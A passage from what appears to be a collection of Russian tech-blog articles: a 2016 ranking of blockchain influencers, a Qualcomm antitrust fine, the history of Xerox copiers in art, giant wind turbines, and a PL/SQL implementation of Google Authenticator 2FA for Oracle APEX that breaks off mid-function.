В этом материале, посвященном уходящему 2016 году, перечислены наиболее влиятельные представители мира Блокчейн. Рейтинг основан на результатах опроса издания CoinDesk, в котором приняли участие более 2 тысяч читателей. Если вы хотите оценить то, как прошел 2016 год для Биткойн и Блокчейн сообщества, то попытка определить самых активных и влиятельных представителей этих областей будет очень хорошей точкой отсчета. Результаты опроса оказались отчасти удивительными, а отчасти вполне закономерными. Как бы то ни было, в списке немало новичков и это еще одно свидетельство непрерывного развития этой постоянно меняющейся отрасли. Итак, давайте посмотрим кто оказался в рейтинге этого года. 10. Периэнн Боринг Любые изменения в конгрессе США почти что по определению происходят медленно и нудно. И тем не менее, будучи главой Палаты цифровой коммерции, Боринг сыграла ключевую роль во многих процессах, сумев добиться результатов там, где их запросто могло и не быть. За плечами Боринг работа помощником конгрессмена и журналистом RT и Forbes. Теперь же она выступает инициатором многих бесед, проводимых на Капитолийском холме, делая Блокчейн более доступным для всех заинтересованных граждан США и постоянно обращая внимание на необходимость изменения и совершенствования регулирующего отрасль законодательства. Под руководством Боринг, Палата привлекла всеобщее внимание к теме умных контрактов, проведя в начале декабря симпозиум, в котором приняли участие представители Комиссии по торговле товарными фьючерсами (CFTC) и Службы регулирования отрасли финансовых услуг (FINRA). Если считать 2016 год годом внимания к цифровым валютам и Блокчейн со стороны Вашингтона, то Боринг однозначно — одна из ключевых фигур, сумевших поспособствовать росту этого внимания. 9. Крис ДеРоуз и Junseth Эксперты подкаста Bitcoin Uncensored, Крис ДеРоуз и Джош Ансет (предпочитающий выступать под псевдонимом Junseth) сумели не раз шокировать публику в этом году благодаря присущему их подкастам напористому, агрессивному, едкому и остроумному стилю комментирования. Одним такой подход пришелся по вкусу, у других — вызвал осуждение. Вполне возможно, однако, что именно такой реакции ведущие и добивались с самого начала. В то же время их стиль стал предметом серьезной полемики. Дошло и до обвинений в сексизме, особенно это касалось их интервью с главой Палаты цифровой коммерции Периэнн Боринг. Скандал немало сказался на том, как было воспринято смысловое содержание выпусков. Среди наиболее интересных интервью Bitcoin Uncensored следует отметить беседу с осужденным оператором финансовой пирамиды Bitcoin Savings and Trust Трендоном Шейверсом и главным директором Neo and Bee Дэнни Брюстером. Впрочем, даже когда напористые атаки на гостей стихали, шоу не теряло своей ценности, показывая немалую глубину экспертизы. К примеру, в одном из недавних эпизодов, ведущие попытались раскрыть нечто, что они приняли за мошенническую схему, оперировавшую на просторах Craigslist . В конце концов выяснилось, что речь идет всего лишь о безобидном и действующем из добрых побуждений продавце лодок, пользующимся Биткойн для приема платежей. В ходе подкаста была проделана немалая работа, хорошо продемонстрировавшая слушателям уникальность Биткойна как самобытной функциональной экономики на базе Блокчейн. В независимости от того, согласны ли вы с ними или нет, уникальный подход ДеРоуза и Junsth’а к ведению биткойн-подкастов — не говоря уже о немалом хронометраже их эпизодов, длительностью по несколько часов каждый — позволили им в этом году проявить себя как заметную силу в индустрии. 8. Ричард Гендэл Браун Технический директор R3CEV Ричард Гендэл Браун оказал в 2016 году немалое влияние на блокчейн-сцену. Компания, которую Браун представляет, то есть технологический стартап, получивший поддержку и основанный консорциумом из более чем 40 банков, посвятил последние полтора года изучению и экспериментам с распределенными реестрами. Помимо выполнения функций технологического лидера, Браун также был одним из основных инициаторов и организаторов открытия исходного кода проекта, всецело поощряя критику и вклад со стороны членов сообщества. И хотя Браун открыто признает, что работа еще далека от завершения, этот дебют был очень важным моментом для всех кодеров нью-йоркской компании. Впрочем, дело не только в строках кода Corda и пользе, которую они принесли в уходящем году. В апреле Браун выдвинул свой тезис относительно распределенных технологий, предложив идею о том, что одних только возможностей Блокчейн будет недостаточно, чтобы решить некоторые ключевые наболевшие проблемы банковского сектора. В частности, Браун показал, что состояние фактов, которыми учреждения обмениваются между собой в ходе совместной деятельности — область деятельности бизнеса, гораздо более зрелая для инноваций, чем, например, платежи. Corda как платформу впереди ждет долгий путь развития, но ее концептуальные основы, вполне вероятно оказали на индустрию влияние, в том числе, возможно, изменив и общий ход ее развития. 7. Дон и Алекс Тэпскотты Дон Тэпскотт и его сын Алекс — авторы характеризующей 2016 год книги Blockchain Revolution , стали двумя наиболее заметными голосами, продвигающими новейшие блокчейн-разработки в среде мейнстримных финансов. Вам едва ли удастся посетить какое-либо отраслевое мероприятие и не встретить там одного из Тэпскоттов, глубоко и основательно освещающего текущее состояние технологии. Чтобы получить общее представление о том, как это выглядит, достаточно, например, посмотреть лекцию Дона для TED . И тем не менее для самих Тэпскоттов работа с Блокчейн выходит за рамки написания книг и проведения лекций. Ранее в этом году, Дон стал одним из инициаторов создания Muskoka Group — проекта, направленного на исследование возможностей Блокчейн в сфере управления. Проект разрабатывается в сотрудничестве с реальными представителями муниципальной власти, в помощь которым, по задумке авторов, и направлена инициатива. 6. Питер Вьюиль Сооснователь биткойн-стартапа Blockstream и один из наиболее видных разработчиков из команды опенсорсного ядра Биткойн, Питер Вьюиль сыграл очень важную роль во всех связанных с Биткойн разработках в этом году. Одного беглого взгляда на GitHub-аккаунт Вьюиля достаточно, чтобы оценить объем его вклада. В общей сложности он опубликовал сотни коммитов кода. По данным Bitcoin.org , Вьюиль на данный момент — второй по продуктивности контрибьютор, уступающий только основному сопровождающему разработчику ядра Владимиру ван дер Лаану. Однако именно Вьюиль предложил Segregated Witness — амбициозный план по изменению механизма использования доступного места в блоке транзакций, предназначенный для улучшения скорости работы сети и вызвавший немало ожесточенных и крайне неприятных споров в биткойн-сообществе. Его презентация, прошедшая во время гонконгской конференции Scaling Bitcoin в прошлом году, заложила основы для постоянных перепалок между сторонниками SegWit и членами комьюнити, призывающими к увеличению максимального допустимого объема данных в блоке. Работа, проделанная Вьюилем и другими инициаторами предложения SegWit, в этом году перешла от испытаний к практической реализации, подготовив, в свою очередь, почву к серьезному изменению направления развития Биткойн в 2017 году. Для Вьюиля и других биткойн-разработчиков 2017 год, вероятно, станет ключевым и определяющим. 5. Адам Людвин В прошлом сентябре крупные финансовые поставщики услуг Visa и Capital One приняли участие в финансировании стартапа Chain, в рамках которого компания собрала 30 миллионов долларов. К концу 2015, стартап полностью поменял свое направление деятельности с разработки биткойн-API на оказание блокчейн-услуг корпоративным клиентам. Почти год спустя, партнерство с Visa привело к, вероятно, крупнейшему в отрасли результату: карточный гигант объявил о намерении запустить в 2017 году платежный блокчейн-сервис. Будучи главным директором Chain, Людвин сыграл в процессе ключевую роль, содействовав Visa в ее первом шаге на рынок блокчейн. Кроме того, в партнерстве с Visa, Capital One и другими финансовыми учреждениями, такими, как Citi, Fidelity и State Street, его компания объявила о запуске опенсорсного блокчейн-протокола для разворачивания частных блокчейнов под названием Chain OS 1 (ныне Chain Protocol) — пожалуй, самого амбициозного на сегодняшний день релиза на рынке. И это не говоря уже о его вступительной речи, посвященной Блокчейн, которую он дал перед представителями центральных банков разных стран мира. Она пришлась как нельзя кстати с учетом того, что подобные учреждения по всему миру сейчас проявляют заметный интерес к исследованию технологии и разработке собственных цифровых валют на ее основе. 4. Сатоши Накамото Именно скрывающийся под этим псевдонимом создатель (или группа создателей) Биткойн, направлял развитие цифровой валюты на ранних этапах развития вплоть до своего исчезновения со сцены несколько лет назад. В прошлом году, однако, индустрия наблюдала за драмой вокруг австралийского предпринимателя Крейга Врайта, который, по некоторым данным, предположительно мог стоять за созданием Биткойн. Эта новость наделала немало шума в информационном пространстве в прошлом году. И вот в мае этого года, Врайт снова подлил масла в огонь, повторно приковав всеобщее внимание к истории. Он объявил о своем намерении доказать, что на самом деле и есть Накамото, но в последний момент взял свои слова обратно, сказав, что не намерен предоставлять окончательные доказательства на фоне обвинений в мошенничестве. Несколько месяцев спустя, эта истории почти забылась. Но даже несмотря на то, что представители финансового мира в большинстве своем, не торопятся принимать Биткойн с распростертыми объятиями, роль, которую сыграл Накамото в мейнстримном распространении блокчейн, до сих пор дает о себе знать, даже спустя 8 лет после появления первого описания технологии. 3. Андреас Антонопулос Спросите среднестатистического члена сообщества о том, кого, по их мнению, можно назвать ведущим мыслителем и постоянным представителем Биткойн и вы почти наверняка не услышите в ответ имя Андреаса Антонопулоса. Антонопулос — автор Mastering Bitcoin и частый спикер, выступающий с лекциями на эту тему. Результаты его работы, пожалуй, лучше всего прослеживаются на примере его расписания полетов и поездок. Это человек перемещается по всему земному шару, давая лекции как перед ярыми биткойнерами, так и скептически настроенными банкирами (в зависимости от мероприятия). В 2016 году Антонопулос начал освещать и другие блокчейн-проекты, такие как Ethereum, давая свои комментарии по поводу наиболее резонансных событий, таких, как взлом и распад the DAO. Кроме того, он выдвинул предложение о создании международной децентрализованной сети арбитража и посредничества, черпающей свое вдохновение из идеи Нью-Йоркской Конвенции ООН 1958 года. На очереди у автора следующая книга под названием Mastering Ethereum , выход которой намечен на октябрь. Это не первый раз когда Антонопулос попадает в списки CoinDesk. Ранее он уже был отмечен как самый влиятельный представитель биткойн-сообщества в соответствующем рейтинге портала за 2014 год. 2. Виталик Бутерин Год назад Ethereum, возглавляемый своим основателем Виталиком Бутериным, всего несколько месяцев как завершил краудфандинговую кампанию. Это было время, когда проект окружали слухи о постоянных задержках, но в то же время сторонники Ethereum делали положительные прогнозы насчет его будущего. Оглядываясь назад на прошедший год, мы можем с уверенностью сказать, что последние 12 месяцев были для Ethereum тем еще приключением. Бутерин, возглавлявший работу над Homestead — амбициозным вторым по счету главным релизом проекта, и помогавший сообществу, пусть в целом весьма хаотично, но все-таки отреагировать на крах the DAO, остается единственной в своем роде наиболее заметной фигурой проекта. Глядя как на лишения и невзгоды, так и на победы Ethereum, можно сказать, что 2016 год оказался для него определяющим в том смысле, что происходившие события помогли платформе сформироваться, наконец, в том виде, в котором она, вероятно, и просуществует ближайшие несколько лет. Как сказал бы один из посетителей сентябрьской конференции DevCon2, 2016 был годом непосредственного, «интерактивного» подхода к разработке, в рамках которого подобные системы могли бы запросто претерпеть серьезные изменения уже после запуска. И такое положение вещей едва ли вошло бы в моду, если бы не поддержка и инициативность Бутерина. «В первый год, это было больше похоже на дым, — говорил по этому поводу технологический консультант Карлос Буэндиа Галлего. — А сейчас мы создаем реальные вещи». Если уходящий год все-таки о чем-то и свидетельствует, так это о том, что 2017 год — хорошо это или плохо — станет периодом еще большего созидания для Бутерина и компании. 1. Взломщик(и) The DAO Как и в прошлом году, личность победителя рейтинга этого года остается нераскрытой. Стоящий за атакой на The DAO человек (или группа лиц), хорошенько встряхнул весь блокчейн-мир этим летом, воспользовавшись явлением, которое наблюдатели еще до этого называли табличкой с надписью «заходи и бери халявные деньги», встроенной в код. В результате разработчики Ethereum произвели ряд операций по возвращению блокчейна в предшествующее атаке состояние, то есть фактически перезаписали его историю. Это позволило инвесторам обменять часть своих DAO-токенов обратно на ether’ы и вернуть тем самым контроль над вложенными средствами. Однако эта попытка вызвала неприятное послевкусие у некоторых заинтересованных участников сообщества и недовольство вылилось в появление отдельного конкурирующего проекта Ethereum classic. Из-за особенности блокчейна ethereum-classic, не позволяющего сделать какой-либо откат, по крайней мере часть украденных средств доберется до бирж и в конечном счете осядет в карманах хакеров. Организовавшие эту атаку лица получили в опросе наибольшее количество голосов. Вероятно, это отражает важность той роли, которую они сыграли в разоблачении критического бага механизма умных контрактов, лежавших в основе ethereum-проекта. Событие также обратило всеобщее внимание на характерную для всех подобных приложений опасность, послужив теперь уже печально известным напоминанием о том, что в случае с умными контрактами одна-единственная ошибка в коде может стать предпосылкой разрушительных последствий. Возможно, у вас есть свое мнение относительно участников приведенного выше списка? Другие участники, достойные упоминания: Крис Ларсен , Ден Лаример , Роджер Вер , Эмин Гюн Сирер , Зуко Уилкокс , Адам Бэк , Бэрри Силберт . Продолжайте следить за обновлениями блога платежного блокчейн-сервиса Wirex в новом году и оставайтесь в курсе самых важных событий мировой блокчейн-индустрии.
https://geektimes.ru/company/wirex/blog/281144/
habrahabr
Корейский антимонопольный комитет оштрафовал Qualcomm на $853 млн
['Qualcomm', 'регулирование', 'штрафы', 'Южная Корея', 'конкуренция']
Антимонопольный комитет Южной Кореи оштрафовал производителя процессоров и чипсетов Qualcomm на 1,03 трлн вон, что по курсу составляет 853 млн долларов США, сообщает Reuters. Корейский...
Антимонопольный комитет Южной Кореи оштрафовал производителя процессоров и чипсетов Qualcomm на 1,03 трлн вон, что по курсу составляет 853 млн долларов США, сообщает Reuters . Корейский регулятор обвиняет компанию в нарушении антимонопольного законодательства и злоупотреблении собственным положением для ведения нечестной торговли. Также Qualcomm обвиняется в нарушении антимонопольного законодательства при предоставлении лицензий на использование своей продукции производителями смартфонов, а также в принуждении своих клиентов к подписанию патентных лицензионных договоров при продаже чипов. При этом патенты на эти чипы Qualcomm прямо не принадлежат. Решение корейского антимонопольного комитета может серьезно ударить по бизнесу Qualcomm. Солидную долю прибыли ($6,5 млрд) за этот год компания получила за лицензирование производимых и продаваемых ею чипов. Вердикт регулятора может привести к прецеденту на рынках США и Европы, где Qualcomm занимает не последнюю позицию. Представители Qualcomm уже прокомментировали решение регулятора как «беспрецедентное» и «невыносимое» и готовы оспорить его. Пока решение антимонопольного комитета не вступило в окончательную силу, у Qualcomm есть время для юридической подготовки и подачи апелляции в вышестоящие инстанции. «Решение Антимонопольного комитета Южной Кореи выгодно не только местным производителям смартфонов, но и другим глобальным игрокам на рынке чипсетов, так что сегодняшнее решение комиссии можно назвать намного более сильным и широким, чем принятое в прошлом году в Китае», — прокомментировал ситуацию Юнг Донг-юн, патентный юрист Антимонопольного комитета. Китайцы оштрафовали производителя на $975 млн. Кроме штрафа от Qualcomm требуется введение равных условий для всех клиентов, а также предоставление доступа к патентам по ключевым чипсетам. При этом стандартные патенты должны будут лицензироваться отдельно, а не привязываться к объемам реализуемой продукции. Ранее Qualcomm уже имела проблемы с Антимонопольным комитетом Южной Кореи. Так, в 2009 году регулятор вынудил производителя чипсетов и процессоров выплатить 260 млрд вон ($207 млн по курсу 2009 года) штрафа из-за использования дискриминационных сборов.
https://geektimes.ru/post/284184/
habrahabr
Как Xerox изобрёл копир, а художники выжали из него всё возможное
['xerox', 'копир', 'фотокопирование', 'фотостат', 'копирка', 'энди уорхол', 'мимеограф']
Люди копировали свои лица со времён первой попытки Энди Уорхолла использовать Photostat (проекционный копир) в 1969 году В наше время бумага становится всё менее нужной, и довольно странно...
Люди копировали свои лица со времён первой попытки Энди Уорхолла использовать Photostat (проекционный копир) в 1969 году В наше время бумага становится всё менее нужной, и довольно странно бывает мысленно возвращаться на 35 лет назад, в те времена, когда бумага переживала расцвет своей популярности. Тогда до начала революции компьютерной вёрстки изданий [desktop publishing] оставалось лишь несколько лет. Благодаря ей умножилось количество информации, размещаемой на одной странице. Тогда же переживало пик популярности движение " зин " ['zine — распространение «самиздата» в виде журналов и газет при помощи фотокопирования – нечто вроде дедушки блогов – прим. перев.]. Это был важный способ демократизации контента. И примерно в это же время компания Xerox была на вершине могущества, как в культурном, так и в деловом смысле. И для этого ей понадобилась прорва бумаги. В том, что эта технология была так популярна, есть смысл, поскольку это изобретение стало воистину революционным. Казалось, что технология появилась из ниоткуда. В книге " Copies in Seconds: How a Lone Inventor and an Unknown Company Created the Biggest Communication Breakthrough Since Gutenberg " [Копии за секунды: как независимый изобретатель и неизвестная компания создали крупнейший коммуникационный прорыв со времён Гутенберга] один из ранних сотрудников Xerox, Гарольд И. Кларк [Harold E. Clark] отметил факторы , сделавшие ксерографию, изобретение Честера Карлсона [Chester Carlson], настолько уникальной. Иллюстрация к применению гектографа, работавшего при помощи желатина «У ксерографии не было основ среди предыдущих научных работ. Чет собрал вместе очень интересные явления, каждое из которых было довольно непонятным для обывателя, и никто раньше не думал, что они как-то связаны между собой,- поясняет Кларк. – В результате получилось крупнейшее со времён изобретения фотографии явление. Более того, он сделал это без какой-либо помощи со стороны научного сообщества». Технология, комбинирующая электрически заряженные чернила (или тонер), небольшое количество тепла и фотографический процесс, помогла навсегда изменить офисы. Объяснить этот процесс непросто – попробуйте почитать патент Карлсона – но результат упростил жизнь почти всем. Область, в которой Xerox не заявляет о своём изобретательском приоритете, это цветное фотокопирование. В 1968 году её обогнала 3M, выпустив устройство Color-in-Color . Для его работы требовалось бумага с особым покрытием. Свой вариант такого устройства, Xerox 6500 , компания представила в 1973 году. В отличие от его родственников, рабочих лошадок, это устройство печатало по 4 страницы в минуту. Рынок цветных фотокопий с трудом развивался до 1990-х годов. Просто чтобы вы поняли, насколько революционной была эта идея, вот вам несколько примеров того, как люди делали копии документов до появления фотокопиров. Копирка . Была изобретена в начале XIX века . Материал, покрытый чернилами, позволял писать сразу на нескольких листах одновременно, и некоторое время это было полезно. Она ещё встречается, но её употребление весьма ограничено. Над покупателями копирки смеются те, кто взрослел уже в этом столетии. Гектографы . Желатин, получаемый из мяса , это не только прекрасный десерт [или холодец! – прим. перев.]. Это подходящее вещество для изготовления копий. Для этого необходимо взять большой кусок желатина, написать нужный текст на бумаге при помощи чернил, перенести чернила на желатин, а затем переносить эти же чернила на другие листочки бумаги, прикладываемые к желатину. Из-за простоты технологии её до сих пор используют для различного рода рукоделий . Копирование на мимеографе в школе Нью-Мехико, 1941 год Мимеограф . Система, в изобретении которой участвовал и Томас Эдисон, была одним из самых популярных способов делать копии документов до изобретения Xerox. Страницу бумаги размещали на трафарете внутри металлического барабана, машина заполнялась чернилами, и барабан крутили для размещения слов на странице. Результаты были неплохими, но процесс был сложным, потому что для каждого копируемого документа необходимо было создавать шаблоны. Дитто-машина [ditto machine]. Если вы ходили в школу в 70-х – 80-х, вы могли сталкиваться с документами, скопированными при помощи одной из таких машин. Текст на них иногда был слегка фиолетовым. Эти устройства , также известные, как спиртовые копиры, работали по схеме, схожей с мимеографом, но при помощи алкоголя. В результате чернила не использовались, а вот запах был сильный. Фотостат с оператором Фотостаты . Ближайший родственник ксерокса. Они делали фотографии документов, получали их негативы, а затем перепечатывали их. Это была комбинация фотоаппарата и проявочной комнаты , размещавшаяся в одном устройстве. Машины были громоздкими, процесс – медленным, но в отличие от некоторых других, не деструктивным. После изготовления одного негатива можно было сделать неограниченное число копий. Как и Xerox, Photostat стал настолько популярным, что его название стало нарицательным. Rectigraph, один из главных конкурентов Photostat, послужил основой современной компании Xerox. Но фотокопиры любили не только в офисах. Спросите Энди Уорхола. Уорхол, вероятно, был первым человеком, посчитавшим хорошей идеей скопировать своё лицо при помощи фотокопира. В 1969 году художник зашёл в художественный магазин в Школе визуального искусства в Нью-Йорке и увидел ранний фотостат компании Xerox, печатавший на фотобумаге. Он дружил с владельцем, Дональдом Хэвеником [Donald Havenick], поэтому упросил его дать поиграться с машиной. Хэвеник предупредил, что у неё есть нагревающиеся части, но это не остановило ни Уорхола, ни звезду Бриджит Берлин, которую тоже захватило это развлечение. Это привело к созданию известного автопортрета Уорхола, которому часто подражали люди, игравшиеся с офисным копиром. Реклама фотостата 1920 года «В 1969 году, когда я показал получившуюся фотографию моей жене, она сказала, что фото было похоже на смерть!», рассказал Хэвеник в 2012 году. «Она посчитала, что картинка была слишком омерзительной для того, чтобы вешать её в комнате». Для Уорхола это был всего лишь один из инструментов. Он оттачивал свои умения, экспериментируя с трафаретной печатью, гравюрами и фотографией. Но то, что впервые увидев фотокопир, он тут же решил скопировать своё лицо, говорит об инновационности машины и её потенциале для использования в мире искусства. Через несколько лет после того, как Уорхол придумал новый способ делать автопортреты, движение зин помогло обозначить важность фотокопирования как одной из форм творчества. Панковские зины вроде " Sniffin’ Glue " обогатился и приобрёл влияние благодаря копирам, ставшими отличной заменой прессам Гутенберга. Некоторые зины содержали в себе интересные художественные работы. " Destroy All Monsters ", прото-панк-группа из Анн-Арбора, Мичиган, составляла свои ранние зины при помощи различных копировальных технологий – от мимеографов до цветных копий на ксероксах. Группа, в которой какое-то время играл гитарист Stooges Рон Эштон, до сих пор остаётся достаточно влиятельной, но в последнее время в основном выделяется именно визуальными работами – как через выставки в художественных галереях, так и через копии зина . Фотостат за работой Частично своей энергичностью этот зин обязан тем, что группа жила недалеко от Мичиганского университета. Это помогло им уменьшить стоимость выпуска зина. «Доступ к ксероксу и мимеографу у нас был через институт. Какой-то наш знакомый работал в художественном департаменте и в магазине университета. Мы могли работать там всю ночь бесплатно», пояснил Ниагара, певец группы, в интервью в 2011 году. Вскоре ксероксы проторили дорожку в мир Нью-Йоркского искусства. До того, как Жан-Мишель Баския полностью сосредоточился на рисовании, он продавал ксероксы своих работ Энди Уорхолу в начале 80-х. До того, как Кит Харинг углубился в свой мир инокографики, он разрезал газеты и создавал свои шокирующие заголовки , которые после этого ксерил. Возможно, пик популярности такого использования машин от Xerox пришёлся на начало 90-х, когда директор и художник Чел Уайт создал трёхминутный мультик из горы фотокопий, нескольких кусочков пластика и множества лиц. Как и сегодняшние ретро-компьютеры , процесс фотокопирования в 60-х, 70-х и 80-х вдохнул новизну в мир искусства и расширил его возможности. Революционный подход к фотокопированию от Честера Карлсона, конечно, практически значил гораздо больше, чем простое изготовление зинов – именно поэтому вы можете встретить эти машины в офисах всего мира. Мы видим их и в кино, и в сериалах. Xerox по возможности старается поддерживать своё наследие, и дарит старые версии своих копиров таким сериалам, как «Безумцы». «Морг» компании заполнен старыми аппаратами , которые по запросу отправляются на съёмки фильмов и сериалов. Но, возможно, в самом интересном киноэпизоде с участием продукта Xerox появился не копир, а факс. В фильме " Детектив Буллитт " 1968 года есть сцена, в которой группа людей в напряжённом ожидании сгрудилась вокруг гигантского факса, Xerox Telecopier, чтобы увидеть результат его работы. Занятно, что устройство из фильма сделала компания Xerox. Ведь именно толпы людей, ждущие результата работы аппарата Photostat, натолкнули Честера Карлсона на изобретение улучшенной версии машины.
https://geektimes.ru/post/284186/
habrahabr
Мегаконструкции. Самые большие ветрогенераторы
['ВЭУ', 'ветряная энергетика', 'Siemens SWT-7.0-154', 'Siemens SWT-6.0-154', 'Enercon E126']
Siemens SWT-7.0-154 Кто говорил, что ветряки не способны конкурировать по мощности с атомными электростанциями? Посмотрите на самую большую в мире ветроэлектрическую установку Siemens...
Siemens SWT-7.0-154 Кто говорил, что ветряки не способны конкурировать по мощности с атомными электростанциями? Посмотрите на самую большую в мире ветроэлектрическую установку Siemens SWT-7.0-154. С площадью ометания 18 600 м² этот гигант в одиночку генерирует максимальную мощность 7 МВт при скорости ветра 13-15 м/с. Несколько сотен таких ветряков — и вот вам атомная электростанция. SWT-7.0-154 — это флагманская модель компании Siemens. В её названии зашифрованы генерируемая мощность (7 МВт) и диаметр ротора с лопастями (154 м). Она пришла на смену предыдущему флагману SWT-6.0-154, от которого практически не отличается по техническим спецификациям, но оснащён более мощными магнитами. Более сильное магнитное поле позволяет генерировать больше электроэнергии при том же диаметре. Другими словами, в этой ВЭН параметр снимаемой мощности с квадратного метра площади ометания выше примерно на 16,7%. Ветрогенератор включается в работу на минимальной скорости ветра 3-5 м/с, а генерируемая мощность поступательно растёт до максимальной 7 МВт при скорости ветра 13-15 м/с. При достижении скорости ветра 25 м/с генерация прекращается. Казалось бы, на таких скоростях ветра лопасти ВЭУ должны вращаться быстро, но это совершенно не так. На самом деле они вращаются неторопливо и степенно, делая всего 5-11 оборотов в минуту. То есть полный оборот три лопасти совершают примерно за 5-12 секунд, в зависимости от скорости ветра. Более сильное магнитное поле в новой модели означает также и то, что эту турбину труднее раскрутить. Для достижения той же скорости вращения 5-11 оборотов в минуту и максимальной генерируемой мощности (7 МВт вместо 6 МВт) этой турбине требуется повышенная скорость ветра: 13-15 м/с вместо 12-14 м/с. Соответственно, и начальная скорость ветрогенерации у неё выше. Вот почему данная модель-гигант наиболее оптимально подходит для размещения на территориях с относительно сильными ветрами, лучше всего в море. Внутри турбины нет редуктора (коробки передач) — здесь работает система прямого привода, подключенная к синхронному генератору переменного тока с постоянными магнитами. Поскольку скорость генератора определяет напряжение и частоту тока, то «грязный переменный ток» преобразуется в постоянный ток, а затем преобразуется обратно в переменный ток перед подачей в сеть. В последние годы в области ветряной энергетики происходит очень быстрый научно-технический прогресс. Буквально каждый год появляются новые модели ВЭУ большей мощности и эффективности. Большие и маленькие, рассчитанные на целые посёлки или отдельные дома, на большую скорость ветра в море или на среднюю скорость ветра над крышей частного дома. Например, мировой рекорд по максимальной генерируемой мощности принадлежит вовсе не Siemens, а другой турбине ещё одного немецкого производителя Enercon E126, которая выдаёт до 7,58 МВт. На видео показан процесс установки такой турбины. Высота стойки Enercon E126 — 135 м, диаметр ротора — 126 м, общая высота вместе с лопастями — 198 м. Общий вес фундамента турбины — 2500 тонн, а самого ветрогенератора — 2800 тонн. Только электрогенератор весит 220 тонн, а ротор вместе с лопастями — 364 тонны. Общий вес всей конструкции со всеми деталями — 6000 тонн. Первая установка подобного типа была установлена около немецкого Эмдена в 2007 году, хотя в той модификации максимальная мощность была меньше. Впрочем, ветрогенераторы-гиганты — довольно дорогое удовольствие. Один такой ветряк на 7 МВт обойдётся в $14 млн вместе с установкой, если заказывать все работы у сертифицированных немецких специалистов. Конечно, если освоить производство в своей стране, благо металла хватает, то стоимость вполне можно снизить в несколько раз. Кто знает, может такой гигантский проект национальной стройки занял бы население страны и помог выбраться из экономического кризиса. Почему ветряки не заменят АЭС Одна из самых последних строящихся в Восточной Европе атомных станций — Белорусская АЭС — получит два энергоблока с реакторами ВВЭР-1200 мощностью по 1200 МВт. Казалось бы, несколько сотен ветряков Siemens сравнятся с атомной электростанцией. Стоимость строительства примерно одинаковая, зато «топливо» бесплатное. Что интересно, Белорусскую АЭС как раз строят в районе, где по климатическим данным за 1962-2000 годы почти самая высокая среднегодовая скорость ветра в Беларуси. Но в реальности эта «самая большая» среднегодовая скорость ветра — всего лишь около 4 м/c (на высоте 10 м), чего едва хватит для запуска ВЭУ на минимальной мощности. Перед установкой следует сверяться с годовой картой ветров в районе дислокации с данными средней удельной мощности ветрового потока на высоте 100 м и выше. Хорошо бы составить такие карты для всей территории страны, чтобы найти места наиболее оптимального строительства ВЭУ. Нужно иметь в виду, что скорость ветра сильно зависит от высоты, что хорошо известно жителям высотных домов. В обычных прогнозах погоды по ТВ сообщают скорость ветра на высоте 10 м над землёй, а для ветровой турбины следует измерять скорость на высоте 100-150 м, где ветры гораздо сильнее. Так что наиболее оптимально такие гиганты подходят для установки в море, в нескольких километрах от побережья, на большой высоте. Например, если установить такие установки вдоль северного побережья России с шагом 200 метров, то максимальная мощность массива составит 690,3 ГВт (побережье Северного Ледовитого океана составляет 19724,1 км). Скорость ветра там должна быть приемлемая, только при заливке фундаментов придётся иметь дело с вечной мерзлотой. Правда, по стабильности работы ВЭУ никогда не сравнятся с АЭС или ГЭС. Здесь энергетикам приходится постоянно следить за прогнозом погоды, потому что генерируемая мощность напрямую зависит от скорости ветра. Ветер должен быть не слишком сильным и не слишком слабым. Хорошо, если в среднем ВЭУ будут выдавать хотя бы треть от максимальной мощности.
https://geektimes.ru/post/284188/
habrahabr
2FA в Oracle ApEx
['oracle', 'apex', '2fa', 'google', 'totp', 'otp']
Предлагаю Вашему вниманию реализацию 2FA в Oracle Application Express. В качестве второго фактора будет использовано решение от Google с установленным на телефон приложением...
Предлагаю Вашему вниманию реализацию 2FA в Oracle Application Express. В качестве второго фактора будет использовано решение от Google с установленным на телефон приложением Authenticator. Данная реализация не претендует на присвоение себе статуса best practice, цель написания этой статьи — поделиться этим решением и получить рекомендации по улучшению, повышению безопасности используемого кода. Как только я приступил к этой задаче, я обнаружил, что встроенная процедура apex_authentication.login принимает на вход только два параметра, возможность модификации данной процедуры под свои нужды даже не рассматривал, поскольку это могло повлиять на другие веб-приложения. В данной реализации перед вызовом встроенной процедуры аутентификации, проверяющей пару login & password, вызывается самописная процедура Preauth, проверяющая пару login & one time password. Исходные данные: аутентификация в веб-приложение основана на проверке пары логина и пароля, хранимых в таблице users соответствующей схемы (у каждого веб-приложения своя схема). В эту таблицу нужно добавить столбец, в котором будут храниться secret keys для второго фактора. Для большей безопасности можно создать отдельную таблицу с ограниченными правами доступа, в которой будут храниться id пользователей и ключи зашифрованном виде. Ключ представляет собой base32-строку из 16 символов в верхнем регистре. Для того, чтобы секретный ключ сохранить в приложении Google Authenticator, можно сгенерировать QR-код, к примеру, воспользовавшись этим решением . На странице Login page в конструкторе ApEx как правило есть только два поля: username и password. Необходимо добавить дополнительное поле, к примеру с именем P101_TOTP, сюда пользователь будет вводить 6 цифр из приложения Google Authenticator. На этой же странице добавляется процесс, инициируемый по событию After Submit, запускающий процедуру Preauth. Выглядит это вот так: Процедура Preauth сравнивает one time password с кодом, который генерируется на сервере с тем же самым секретным ключом: Код процедуры create or replace PROCEDURE "PREAUTH" (p_username IN VARCHAR2 ,p_totp IN VARCHAR2) AS l_value NUMBER; usersToken VARCHAR2(20); tempToken VARCHAR2(20); l_current_sid number; BEGIN SELECT token INTO usersToken FROM users WHERE upper(users.login) = upper(p_username); IF usersToken != '0' THEN BEGIN tempToken := TOTP(cSecret => usersToken); SELECT 1 INTO l_value FROM users WHERE 1 = 1 AND upper(users.login) = upper(p_username) AND USERS.IS_LOCKED = 0 AND p_totp = tempToken; EXCEPTION WHEN no_data_found OR too_many_rows THEN l_value := 0; WHEN OTHERS THEN l_value := 0; END; END IF; l_current_sid := apex_custom_auth.get_session_id_from_cookie; IF l_value = 0 THEN raise_application_error (-20000,'Please, try again'); apex_util.set_authentication_result(4); APEX_AUTHENTICATION.LOGOUT( p_session_id => l_current_sid, p_app_id => v('APP_ID')); END IF; END PREAUTH; Как видим, процедура обращается к функции с именем TOTP, автор функции опубликовал её здесь . Код функции TOTP create or replace FUNCTION "TOTP" (cSecret IN VARCHAR2) RETURN VARCHAR IS cBASE32 CONSTANT VARCHAR2(32) := 'ABCDEFGHIJKLMNOPQRSTUVWXYZ234567'; szBits VARCHAR2(500) := ''; szTmp VARCHAR2(500) := ''; szTmp2 VARCHAR2(500) := ''; nPos NUMBER; nEpoch NUMBER(38); szEpoch VARCHAR2(16); rHMAC RAW(100); nOffSet NUMBER; nPart1 